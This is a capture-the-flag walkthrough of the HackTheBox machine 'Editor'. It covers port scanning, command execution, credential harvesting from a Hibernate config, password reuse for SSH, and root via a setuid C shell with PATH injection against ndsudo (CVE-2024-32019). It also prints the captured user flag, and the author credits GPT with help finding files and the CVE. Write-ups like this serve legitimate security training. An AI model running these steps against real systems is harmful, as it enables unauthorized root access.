Rustscan#

• Rustscan revealed three open ports:
  • 22 – SSH
  • 80 – HTTP service on the root domain (editor.htb)
  • 8080 – Another HTTP service running on a subdomain (wiki.editor.htb)

Nmap#

1
# Nmap 7.94SVN scan initiated Thu Aug 14 10:38:27 2025 as:
2
nmap -Pn -p- --min-rate 2000 -sC -sV -oA nmap/initials -vvv 10.10.11.80
3

4
Increasing send delay for 10.10.11.80 from 0 to 5 due to 14 out of 45 dropped probes...
5
...
6
Nmap scan report for wiki.editor.htb (10.10.11.80)
7
Host is up, received user-set (0.31s latency).
8
Scanned at 2025-08-14 10:38:27 IST for 281s
9
Not shown: 34463 closed tcp ports (conn-refused), 31069 filtered tcp ports (no-response)
10
PORT     STATE SERVICE    REASON  VERSION
11
22/tcp   open  tcpwrapped syn-ack
12
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
13
80/tcp   open  tcpwrapped syn-ack
14
|_http-server-header: nginx/1.18.0 (Ubuntu)
15
8080/tcp open  tcpwrapped syn-ack
16
|_http-server-header: Jetty(10.0.20)

The Nmap scan confirms what Rustscan reported, but also provides additional details about the services running behind these ports.

Setting up the POC#

• I customized the exploit with target-specific details.

• Testing a simple command like id gave me a valid response, confirming command execution worked.

Getting a Service Reverse Shell#

• I then moved on to getting a reverse shell for a more stable foothold.

• To make the shell interactive and stable, I upgraded it using:

1
/bin/bash -i

Post-Exploitation Enumeration#

• My initial thought was to look for hardcoded credentials, since many easy boxes hide passwords in common configuration files.
• I asked GPT for common file names, and it pointed me to hibernate.cfg.xml.

• The file existed on the system:

• Inside, I found the following credentials:

1
<property name="hibernate.connection.username">xwiki</property>
2
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

• So, the credentials were:
  • Username: xwiki
  • Password: theEd1t0rTeam99
• These looked like database credentials, so I attempted to log into MySQL using them.

1
mysql -u xwiki -p xwiki
2
Enter password: theEd1t0rTeam99

Thinking Outside the Box#

• At this point, I stepped back and thought about password reuse.
• I already knew of a system user named oliver. Out of curiosity, I tried:

1
oliver : theEd1t0rTeam99

• And surprisingly, it worked! 🎉
• This confirmed a password reuse vulnerability. While it may look like guesswork, this is actually very realistic, since many real-world systems fall victim to reused credentials.

Getting User Shell via SSH#

• Using the reused password, I logged in as oliver via SSH and captured the user flag.

1
91955630da7c314861c7b745f8c22a70

Understanding the Binary#

• I examined ndsudo to understand its purpose. It allowed running specific commands, but it wasn’t a standard privilege escalation tool.

• After digging deeper (with GPT’s help), I found that it was vulnerable to CVE-2024-32019. A public POC was available: CVE-2024-32019-POC.

• Although I didn’t use the exact exploit, I used it as inspiration.

Gaining Root Shell#

• I created a small C program that forces the UID and GID to root, then spawns a shell:

1
#include <unistd.h>  // setuid, setgid, execl
2
#include <stddef.h>  // NULL
3

4
int main() {
5
    setuid(0);   // force UID to root
6
    setgid(0);   // force GID to root group
7
    execl("/bin/bash", "bash", NULL);
8
    return 0;
9
}

• Compiled it with:

1
x86_64-linux-gnu-gcc -o nvme exploit.c -static

• Then transferred it to the target, made it executable, and exploited the PATH injection trick by modifying $PATH:

1
PATH=$(pwd):$PATH

• Finally, I executed ndsudo with my custom binary and popped a root shell. 🚀